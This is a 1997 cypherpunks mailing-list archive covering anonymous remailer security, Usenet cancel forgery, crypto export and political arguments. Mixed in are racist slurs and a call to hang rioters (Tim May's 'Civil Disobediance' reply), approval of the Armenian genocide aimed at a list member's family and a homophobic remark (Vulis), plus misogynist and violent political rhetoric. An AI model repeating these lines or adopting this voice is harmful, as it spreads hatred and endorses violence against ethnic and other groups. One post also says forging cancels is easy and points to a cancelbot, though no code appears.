Cancel message abuse by people running cancel bots reflecting their
censorous views have resulted in some sites ignoring cancel messages.
PGPmoose provides a better method of allowing only the author to
cancel.  Or NoCEM provides a ratings system framework, which is
superior to using cancels.

Another aspect of the system is that it relies on news archival
services such as dejanews and altavista; these presumably don't listen
to cancel messages for already archived data (? guessing here).  The
archive maintainers presumably don't want to get involved in disputes
over which old articles should be purged from their archive anyway.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 01:57:36 +0800
To: cypherpunks@algebra.com
Subject: Disinformation from folks like Kent on this list
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <v03007809afa24cd04da0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:03 AM -0800 5/16/97, Duncan Frissell wrote:

>Kent should try and read up a little.  The slaughter in Rawanda started when
>the government radio stations began broadcasting orders for tribal members to
>come by and pick up their government-purchased machetes and get out there and
>start hacking.  It was a classic government ordered slaughter.
...

The problem I have with Kent is _not_ that he works for LLNL, and not even
that he has charitable things to say about mandated key recovery systems.
After all, others here on this list also work for the government (including
The Real Government (tm), the Federal Reserve). And so on.

No, what I find so irksome about Kent is his obdurate unwillingness to
bother to learn whereof he speaks:

- unawareness of the situation in Rwanda, though he cites it as an example
of why "anarchy leads to mass killings."

- he cites hackneyed Webster's definitions of "anarchy" to make some point,
then objects that others are relying too much on definitions when they
refute him.

- he claims remailer networks are insecure without apparently having
comprehended how chained remailers work and without apparently even
glancing at the 1981 Chaum paper or the followup papers on DC-Nets (which
discuss collusion sets in great detail).

- he proudly admits to not having looked at past archives, nor I presume at
the large file I generated a few years ago (Cyphernomicon), covering many
of the issues he keeps raising.

- he claims his flavor of "key recovery" is demanded by corporations, but
seems unwilling to then just let corporations do as they wish in this
regard (if corporations really want it, they'll get it...but not in the GAK
form the government is insisting it be in). He also cites key recovery as a
middle ground in the war on crypto, thus implying (counter to his claimed
support of voluntary systems) key recovery will not be voluntary.

(Speaking as an info-terrorist who sees strong crypto as a tool for
triggering the eventual collapse of governments and dispenser of justice to
the criminal rulers, I certainly won't be "volunteering" to use any key
recovery tools, leastwise none that put the key in any subpoenable
repository. Maybe key recovery with my lawyer, outside the U.S., but not in
any Netscape's Trusted Key Suppository.)

And so on.

I've taken to sometimes responding to him, but usually not. Nothing
delights me more than seeing some long rambling criticism of us, and our
work, and then deleting it.

Kent is just one of several folks who've discovered this list, share none
of its core values, and seeks to disrupt it with innuendos, spam, insults,
and disinformation.

Kent, please go away.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 02:25:55 +0800
To: cypherpunks@toad.com
Subject: New Canadian Techno Law
Message-ID: <199705161704.KAA18293@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From RCMP Web Site: http://www.rcmp-grc.gc.ca/

Late last year, Allan Rock, minister of justice, introduced a bill
containing nearly 150 proposed
amendments to the Criminal Code and related statutes. Highlights of Bill
C-17 include several
changes to address computer crime, credit card forgery and fraud and
fraudulently obtaining
services. The RCMP, supported strongly by the Canadian Bankers
Association and the Canadian
issuers of Visa and MasterCard, had previously urged a number of changes
to offences dealing with
credit card fraud and computer-assisted crimes. 

Bill C-17 is presently before Parliament and is in the second reading
stage. The following legislative
proposals will be of interest to law enforcement agencies and to our
private and public sector
partners engaged in the detection, investigation, and prosecution of
technological crime:

     Expanding section 183 of the Criminal Code to include new offences
for which an
     authorization to intercept private communication could be granted.
The new offences
     would include, inter alia, section 327, section 342, section 342.1,
section 342.2, and
     section 430 of the Criminal Code. 
     Amending section 342 to make possession, use, or trafficking of
forged credit cards
     an offence. 
     Amending section 342 to make the misuse of credit card data an
offence. 
     Amending section 342 to make it an offence to make, buy or sell,
export or import,
     or possess equipment intended for use in forging credit cards. 
     Amending section 342.1 to make it an offence to use, possess, or
traffick in
     computer passwords that would enable another person to fraudulently
obtain a
     computer service. 
     Creating section 342.2 to make it an offence to make, possess,
sell, offer for sale, or
     distribute any instrument or device that is intended to be used to
fraudulently obtain
     a computer service. 
     Amending section 487 to impose a duty on the person in possession
or control of a
     computer system to provide data in the form of a print-out or other
intelligible output
     when a lawful search of such a facility is being conducted.

Technological Crime Section is optimistic that the proposed amendments,
once passed into law, will
significantly aid its efforts in dealing with this rapidly emerging and
sometimes very troublesome
genre of crimes.

 For further information and updates on the progress of this bill,
readers are encouraged to
       consult the Department of Justice Homepage at:
http://canada.justice.gc.ca.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 17 May 1997 02:08:13 +0800
To: cypherpunks@cyberpass.net
Subject: Another Bell related raid
Message-ID: <Pine.GSO.3.96.970516100122.11413C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


This is from the Oregonian May 16th, 1997 page B3 under the Vancouver
section.

2nd home raided in probe of anti-government activities

A team of federal agents, led by IRS internal security personnel, raided a
home at 711 W. 20th St. Thursday morning.

The raid apperently is a continuation of an investigation into the
activities of James D. Bell, whose McLaughlin Heights home at 7214
Corregidor Road was raided April 1st.

The 20th Street home is occupied by Robert W. West, who was not home when
the raid occured.

A federal agent who answered his phone during the search refused to say
what the agents were seeking.

The search warrent application and affidavit is under seal by a federal
court in Tacoma.

In the affidavit for the search warrent for Bell's home, IRS Special
Investigator Jeff Gordon alledged that Bell was "directly solicting others
to set up a system to murder government officials."

Bell is the author of a 10-part essay called "Assassination Politics,"
which has been widely circulated on the Internet, particularly in
anti-government forums.

After the raid, agents made no other public statements.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 22:47:17 +0800
To: kent@songbird.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <199705160927.KAA01424@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> [about remailers]
> Hmm.  I did read, and I thought I understood this.  I claim that if
> the remailers collude, then there in no anonymity.  Correct? Even if I
> insert my own remailer in the list it doesn't help, if the others are
> all in cahoots.  This seems pretty obvious.  They all compare logs, 
> and saved copies of the messages, and my message can be tracked from 
> beginning to end.  Right?

Not entirely.

If other people use your remailer also, and you have latency, they'll
see n messages going into your remailer, and n come out.  There will
be log2(n) entropy added, they won't know which of those are from you
and which from the other users.

Flooding attacks might make the situation worse, say you wonder if all
of the messages apart from your own are from the attackers, and that
the purpose of these messages is to flush your message out of the
mixing pool.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 02:21:27 +0800
To: cypherpunks@algebra.com
Subject: Total Paranoids Don't Need Cryptography
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <v0300780aafa255fd7571@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



May's Second Law of Paranoia: If everyone is out to get you, cryptography
is pointless.

May's Lemma for Remailers: If they are out to get you, and all remailers
are colluding to help get you, then remailers are worthless.


The recent "criticism" of remailers by Kent Crispin is just a manifestation
of these obvious points. Truly, if everyone outside of some agent, Albert,
is colluding with each other, then simple comparisons of what they've sent
to each other must leave what Albert has sent.

(There is still a minor use of cryptography in terms of encrypting diaries,
or records on a machine, for example, even in a world in which they are all
to get one.)

The more interesting issues are the tradeoffs between sizes of collusion
sets, the partitioning of the graphs into collusion sets, and estimates of
remailer entropy in the presence of varying amounts of collusion, low
latency/mixing, etc.

Many of us have of course argued for years that more detailed studies are
needed...Kent observing that if all remailers are colluding one gets fewer
(or no) benefits is hardly original or profound. Cf. the discussions of
collusion by Chaum, Birgit Pfitzman (Eurocrypt, I think in 1989), Hal
Finney, Wei Dai, myself, and others.

"All cryptography is economics." (Eric Hughes)

All remailer security is about economics, about how many colluders are out
there, about the incentives and disincentives they feel to collude (*), etc.

(* Any remailer who seeks to collude will quite quickly become known to
other remailers as a colluder. I think a fairly stable equilibrium is for
nearly all remailers to refuse to collude on general principles, and only
collude in extreme circumstances.)

If critics of remailers like Kent will not even bother to think deeply
about these issues, with some back of the envelope calculations, and with
some perusal of the main papers and articles in the area, I fail to see why
we should take his points with any degree of seriousness.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Fri, 16 May 1997 23:31:57 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Civil Disobediance
In-Reply-To: <199705152201.XAA02581@server.test.net>
Message-ID: <199705161509.LAA07342@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back writes:

: 
: Dr Roberts writes:
: > Perhaps there is a way to turn the training on the trainers?  Civil
: > disobediance is the best way to do this.  Were a relatively small
: > number of people, a thousand for instance, to post the "RSA in 3
: > lines" code to the world, it would be highly unlikely that anybody at
: > all would be prosecuted, 
: 
: Many 1000s of people have exported it.  See also Vince Cate's arms
: trafficker page.
: 
: 	http://online.offshore.com.ai/arms-trafficker/
: 
: Around 3000 T-shirts were sold also.  Guess there are a fair number of
: people practicing civil disobedience in the US as a result.  They're
: still selling, see:
: 
: 	http://www.dcs.ex.ac.uk/~aba/uk-shirt.html
: 
: for order info.
: 
: While it's probably technically illegal to export, it clearly doesn't
: get you in trouble to export it.  Raph Levien sent off a Commodity
: Jurisdiction Request together with a sample T-shirt to ask permission
: to export the T-shirt under the ITAR regulations.  They did not answer
: his request.  I presume that they viewed either a "yes" or a "no" as a
: loose for them.  If they say no, they open themselves for mockery in
: the press, if they say yes, we progress the situation.  Export on
: paper?  Floppy?  Internet?  Bigger programs.

Under the new Commerce Department export regulations it appears that
encryption software printed as hard copy---and I think that T-shirts
are hard enough for this purpose---can be freely exported.  But
the same material in electronic form may not be exported or placed on
a web site without a license.  So the T-shirts are now OK, but under
the EAR it is still an offense to send the code in a sigfile to an
international e-mail list.

It is possible that the application for permission to export the
T-shirt may have influenced this result.

(What is Raph Levien's e-mail address?  I would like to ask him the
details about his application for a Commodity Jurisdictionb Request.
It should be an amusing footnote in my casebook for my course in
computers and the law.)

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 17 May 1997 02:28:08 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
Message-ID: <3.0.32.19970516110435.00736b80@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 PM 5/15/97 CST, TruthMonger wrote:
>Tim May wrote:
>
>> Further, a clever little fix is to make one's own remailer site a link in
>> the chain. All a snooping subset of remailers can do is trace the message
>> back to your own remailers. Obviously, they can't know if the message was
>> merely _remailed_ through your site, or _originated_ there. Thus, including
>> oneself as a remailer also provides excellent plausible deniability.)
>
>  This is a lame idea with no merit whatsoever.

Since Tim's statement describes today's standard practice for increasing
security for one's remailed messages, perhaps TruthMonger would like to
explain why it has no merit. But then again, TruthMonger = Infowar. Guess
we won't see an explanation that has merit.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 17 May 1997 00:14:57 +0800
To: cypherpunks@toad.com
Subject: Dan White & Feinstein
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <3.0.1.32.19970516110732.02653dd4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Dan White committed suicide, after a while.  He probably died sooner than
>the state could have killed him, with appeals and all.  Anyway, Feinstein
>has had a fair amount of first hand experience with gun violence -- more
>than most people on this list.  Her stand on gun control is probably the
>most principled and honest one she has made.

Dan White, San Francisco Supervisor and killer of Mayor Moscone and Harvey
Milk (1978) committed suicide after he had been released from serving his 5
years and 2 months maximum sentence for manslaughter.  (Depression which made
him incapable of forming the specific intent required to be guilty of
murder.)  Feinstein had been a friend of his when he was on the Board of
Supes and it is possible that one of the reasons he lost it during the crisis
over his resignation and attempt to get back on the Board was because
Feinstein was in Nepal on her honeymoon (millionaire second husband) and
wasn't there to support him. 

[I may be partially to blame as well.  I was living in Dan White's district
(the oppressed white working class part of SF) at the time of his original
election.  He dropped by the house and solicited my vote.  I voted for him,
in fact.  And he certainly turned out to be a supporter of the revolutionary
aspirations of his community.  The least disappointing politician I ever
voted for.]

Feinstein want to grab your guns because she is an authoritarian.  Not
because of any particular experiences she's had with guns.  She has shown
equal contempt for the First Amendment and the Second.  She's ma woman and a
commie liberal.  What can one expect.

While mayor of San Francisco, she indulged in a number of famous suppressions
of free speech:

1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
demonstration threats from the (no longer starving) Armenians.

2)  She tried to ban the showing of whatever that dumb New York gang movie
was after a stabbing at one of the theaters showing it.

3)  She pressured a clothing store to pull its billboard ad campaign
"Feinstyle" which featured a (fully clothed) reclining, look-alike model
wearing her sort of scarf and business attire.

Her current humorous attempt to ban "bomb plans" from the Net is just part of
the pattern.  [Humorous because such bans went out the door with Gutenberg
about 500 years ago.]

Her administration also attempted to ban handgun sales in San Franciso but
because California gun nuts had long ago enacted one of the state preemption
laws that the NRA used to push, the courts threw her ban out.  [These laws
say that only the state government can regulate guns.]

If I were her, I'd probably "fear the revolutionary justice of the people" as
well.  [If you've ever seen film of these female congresscritters brandishing
assault rifles at a dog and pony show where they are supposed to examine
these "weapons of war", you'd certainly agree that *they* shouldn't be
allowed to handle guns.]

DCF

 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 17 May 1997 00:26:20 +0800
To: Tom Allard <cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <3.0.1.32.19970516120309.006b1f90@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>The topic at hand was "Do governments kill more than individuals?".
>Bringing Rawanda up as a counter-example to government and calling it an
>anarchy is kind of dishonest, don't you think?  

Kent should try and read up a little.  The slaughter in Rawanda started when
the government radio stations began broadcasting orders for tribal members to
come by and pick up their government-purchased machetes and get out there and
start hacking.  It was a classic government ordered slaughter.

Rawanda was small potatoes by historical standards, however.

For the actual numbers of the major government murders see

http://www.laissezfaire.org/pl6300.html

DEATH BY GOVERNMENT
by R.J. Rummel
(Transaction Books, 1994)

Contents: 

I. Background
The New Concept of Democide, 31.
Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45. 

II. 128,168,000 Victims: The DekaMegaMurderers
61,911,000 Murdered: The Soviet Gulag State, 79.
35,236,000 Murdered: The Communist Chinese Anthill, 91.
20,946,000 Murdered: The Nazi Genocide State, 111.
10,214,000 Murdered: The Depraved Nationalist Regimes, 123. 

III. 19,178,000 Victims: The Lesser MegaMurderers
5,964,000 Murdered: Japan's Savage Military, 143.
2,035,000 Murdered: The Hell State: Cambodia Under the Khmer Rouge, 159.
1,883,000 Murdered: Turkey's Genocidal Purges, 209.
1,670,000 Murdered: The Vietnamese War State, 241.
1,585,000 Murdered: Poland's Ethnic Cleansing, 297.
1,503,000 Murdered: The Pakistani Cutthroat State, 315.
1,072,000 Murdered: Tito's Slaughterhouse, 339. 

IV 4,145,000 Victims: The Suspected MegaMurderers
1,663,000 Murdered? Orwellian North Korea, 365.
1,417,000 Murdered? Barbarous Mexico, 381.
1,066,000 Murdered? Feudal Russia, 397. 

DCF
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RsoeCFwhIWc=
=7VGJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 02:24:13 +0800
To: cypherpunks@toad.com
Subject: Re: eternity-lite & cancel msgs
In-Reply-To: <199705160845.JAA00241@server.test.net>
Message-ID: <u92s7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> One issue with the system is that censors will issue cancel messages
> for the articles.  Not too much which can be done about this.  Some
> trends tend to help this problem:

The vast majority of cancels in the "control" newsgroup are the so-called
"third party cancels" (a.k.a. forgeries).

In the U.S. many major ISPs like America Online and Earthlink are ignoring
cancels outright.  It's easy - start the latest version of INN with the
-C flag, or apply Dave Hayes's patches at http://www.jetcafe.org/~dave/usenet.

> Cancel message abuse by people running cancel bots reflecting their
> censorous views have resulted in some sites ignoring cancel messages.

Quite a few, I might add.  The only reason why Demon processes cancels is
that Ade Lovett is a homosexual who wants to be able to censor "homophobic"
Usenet articles. :-)

Forging cancels is easy -- see the cancelbot I posted last year.

> Another aspect of the system is that it relies on news archival
> services such as dejanews and altavista; these presumably don't listen
> to cancel messages for already archived data (? guessing here).  The
> archive maintainers presumably don't want to get involved in disputes
> over which old articles should be purged from their archive anyway.

Correct: none of the 3 major archival services (dejanews, altavista,
reference.com) delte articles based on cancel or supersedes once they
receive them.

However an author can explicitly ask dejanews to delete his articles.

All 3 now don't archive articles that say 'X-No-Archive: yes'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 16 May 1997 18:46:52 +0800
To: kent@songbird.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <9705161034.AA54548@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> Hmm.  I did read, and I thought I understood this.  I claim that if
> the remailers collude, then there in no anonymity.  Correct?

Correct.

> Even if I insert my own remailer in the list it doesn't help, if the
> others are all in cahoots.  This seems pretty obvious.  They all
> compare logs, and saved copies of the messages, and my message can
> be tracked from beginning to end.  Right?

Wrong. One trusted mix is enough to guarantee anonymity: There is a
large number of fixed-size messages coming in and a large number of
messages going out in random order.  (Consult the archives for
information about possible attacks, such as flooding a remailer with
dummy messages, and how to detect/prevent them.)

> I see a list of remailers posted on cypherpunks periodically -- a
> "cypherpunks" approved list, therefore.  Lucky Green admits publically
> that he personally knows several of the remailer operators.

So you say Raph actually *is* part of the cypherpunk conspirary??!

BTW, that list is the "list of reliable remailers", not the "list of
cypherpunk approved remailers".  Now guess how a remailer qualifies to
be listed.

> And clearly, remailer operators must share a common ideological
> focus...

Remailer operators share the belief that it must be possible to use
the net anonymously, without leaving traces.  Is that what you mean?

PS: Did you know that one remailer operator formerly was a soldier in
East Germany's National People's Army?

-- 
|\/| L~ |\ | | <~  /\
|  | L_ |/ \_/ _> /~~\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 17 May 1997 02:27:50 +0800
To: cypherpunks@toad.com
Subject: BofA / Visa to test Cash Online
Message-ID: <v03020902afa24a32b741@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" <list-manager@purple.reddesign.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 15 May 1997 12:42:56 -0400
From: "R. Jason Cronk" <list-manager@purple.reddesign.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  BofA / Visa to test Cash Online

Bank of America, Visa To Test Cash Online

****Bank of America, Visa To Test Cash Online 05/15/97 SAN FRANCISCO,
CALIFORNIA, U.S.A., 1997 MAY 15 (NB) -- By Bill Pietrucha. Virtual cash -
backed by the real stuff, of course- is coming to the Internet. Bank of
America and Visa International said they will conduct a pilot test
ofstored-value chip card transaction on the Internet this summer,
essentially giving consumers and merchants an online equivalent to cash and
coins for small purchases.


http://www.nbnn.com/8.html


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 08:31:06 +0800
To: cypherpunks@toad.com
Subject: Re: Dan White & Feinstein
In-Reply-To: <3.0.1.32.19970516110732.02653dd4@panix.com>
Message-ID: <sc6s7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell <frissell@panix.com> writes:
> While mayor of San Francisco, she indulged in a number of famous suppressions
> of free speech:
> 
> 1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
> demonstration threats from the (no longer starving) Armenians.

Yes - Armenians are censorous scum.  I'm sorry the Turks didn't get
Ray Arachelian's grandparents.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 17 May 1997 02:38:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <97May16.142233edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Huge Cajones Remailer wrote:

> "All that matters is how we die: shall we offer our bodies helplessly,
> like cattle, to the knife, or, refusing passively to await the end
> shall we turn the strength of our anger to one last battle, til,
> daring and doing, we fall, drenched with their blood, amongst the
> heaped bodies and weapons of our dying enemies?"  -- Livy Book XXV

They couldn't move with their wealth out of the way, so the alternatives
were limited.

> We've seen many sentiments like this one on the list lately.  Such
> sentiments are understandable and have a certain visceral appeal.  And
> it is good that people who are thinking along these lines are also
> telling their friends on the list instead of censoring themselves.
> 
> But, these strategies are not the best we can choose to achieve our
> true goals.  Few of us wish to be martyrs.

I worry about the government about the same as I worry about the people
who will be the barbarians when the government fails (or those who already
are ignoring government - There are some locations I have a risk of being
shot if I go).  If government has any purpose, it is to protect me from
barbarians, which is something they are failing at.  If they can't or
won't do so, why do I need government?

The internet causes data to flow like water - eventually going around any
obstacle.  If you close off a dam completely, it will eventually overflow.
And things like titles and money are more like data than physical objects.

In a few years, the government will be fighting against obsolecense and
irrelevancy.  This is only scary because they have weaponry.

Home Schooling is now easy since teaching materials can be had easily, and
you can contact thousands of people to form a support group.  Government
money will be replaced by digital commodity warehouse receipts - do you
trust lots of people who will go out of business if they cheat more than
the federal reserve and FDIC?  Email will replace most of the first class
mail business post office, and web sites most of the third.  SPAM is being
solved by the net itself (how long would it take congress to pass a bill,
then pass another one the next year to fix the problems in the first...).

Government as the Nanny that protects and provides for you will disappear
since everything that can be reduced to data will be routed out of their
hands, just as the current democracies replaced the monarchies when
education was spread from the elite who had time to study to the masses.

I don't know what will replace it, but I know I will have far more control
over and responsibility for my own life.  And this may include protecting
myself from the barbarians or government who only have and respect
violence.  If my wealth is not going to be accessible, it makes me a less
likely target for either, and if I can get anything I need without going
through their devices, they can't threaten to withold something.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 06:05:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <v03007802afa2927b2003@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:24 AM -0800 5/16/97, tzeruch@ceddec.com wrote:

>I worry about the government about the same as I worry about the people
>who will be the barbarians when the government fails (or those who already
>are ignoring government - There are some locations I have a risk of being
>shot if I go).  If government has any purpose, it is to protect me from
>barbarians, which is something they are failing at.  If they can't or
>won't do so, why do I need government?

The barbarians are already inside the gate, at least here in the United
States. When rioters can burn down a major part of a major city, as in
L.A., and those defending their property are defined as "armed militia
members" and "Korean extremists," and when the Police Commission finally
admits that they hired a black as Police Chief to forestall further riots
by the "rioters of color," we know we've been invaded by the barbarians.

My solution: Take those who burned stores and looted supermarkets, give
them a quick and fair trial, and, if convicted, hang them at the nearest
major intersection. And give medals to the Koreans who shot "da niggaz"
(the name they choose to call themselves--something is might strange when
whites are castigated for even occasionally using the "N-word" while the
bruthas call each other niggaz and hoes and listen to "Niggaz with
Attitude" (NWA) on their boom boxes.).

I have no problems with blacks, greens, yellows, oranges, or violets who do
their own thing. But when they demand that I hire them when I don't want
to, or that I promote based on quotas of various racial sorts, or when they
rampage ad burn down neighborhoods, and when self-defense is outlawed, then
I react by reaching for my assault rifles.

(Next time you're asked to report your race on the Racial Klassification
Forms at the gun store, or your employer, or in the next census, report
that you are black. Under the Racial Purity Laws of 1968, anyone who is
more than 1/16th black is officially of the Negroid persuasion. And since I
have no idea what my ancestors back then were, or whom they were screwing,
who's to say I'm not Negroid? Let the Racial Police challenge me to prove
my Aryan bloodlines! We defeated the Germans so we could institute the same
racial laws they had.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 17 May 1997 02:24:17 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: TEXTO - Text steganography
In-Reply-To: <199705160908.CAA03291@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970516152250.3822A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



>    Texto text files look like something between mad libs and bad poetry,
> (although they do sometimes contain deep cosmic truths) and should be
> close
> enough to normal english to get past simple-minded mail scanners and to
> entertain readers of talk.bizarre.
> -------------
> 
>   Perhaphs this explains why, when I tried it, it signed Paul Bradley's
> name to the output.

Mr. Nobody,

This message justified the fact that I do not have a killfile deleting 
remailer messages at present. ROFL.

BTW Kent, I thought you never used remailers... ;-)

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sat, 17 May 1997 00:48:34 +0800
To: cypherpunks@algebra.com
Subject: Re: your mail
Message-ID: <19970516161608.25960.qmail@squirrel.owl.de>
